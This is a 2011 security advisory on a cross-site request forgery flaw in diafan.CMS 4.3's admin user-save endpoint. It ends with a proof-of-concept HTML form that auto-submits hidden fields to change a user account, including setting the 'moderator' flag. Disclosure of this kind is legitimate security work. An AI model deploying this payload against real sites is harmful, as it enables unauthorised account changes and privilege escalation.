XSRF (CSRF) in diafan.CMS

2011-01-11T00:00:00
ID SECURITYVULNS:DOC:25470
Type securityvulns
Reporter Securityvulns
Modified 2011-01-11T00:00:00

Description

Vulnerability ID: HTB22777 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_diafan_cms.html Product: diafan.CMS Vendor: Diafan ( http://www.diafan.ru/ ) Vulnerable Version: 4.3 and probably prior versions Vendor Notification: 28 December 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "http://host/admin/usersite/save2/" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/usersite/save2/" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="noOut" value="1"> <input type="hidden" name="save_post" value="1"> <input type="hidden" name="id" value="2"> <input type="hidden" name="fio" value="first name"> <input type="hidden" name="name" value="userlogin"> <input type="hidden" name="password" value=""> <input type="hidden" name="mail" value="email@example.com"> <input type="hidden" name="created" value="23.12.2010"> <input type="hidden" name="act" value="1"> <input type="hidden" name="moderator" value="1"> <input type="hidden" name="language" value=""> <input type="hidden" name="phone" value="phone"> <input type="hidden" name="city" value="city"> <input type="hidden" name="street" value="street"> <input type="hidden" name="home" value="5"> <input type="hidden" name="corps" value=""> <input type="hidden" name="flat" value="98">

</form> <script> document.main.submit(); </script>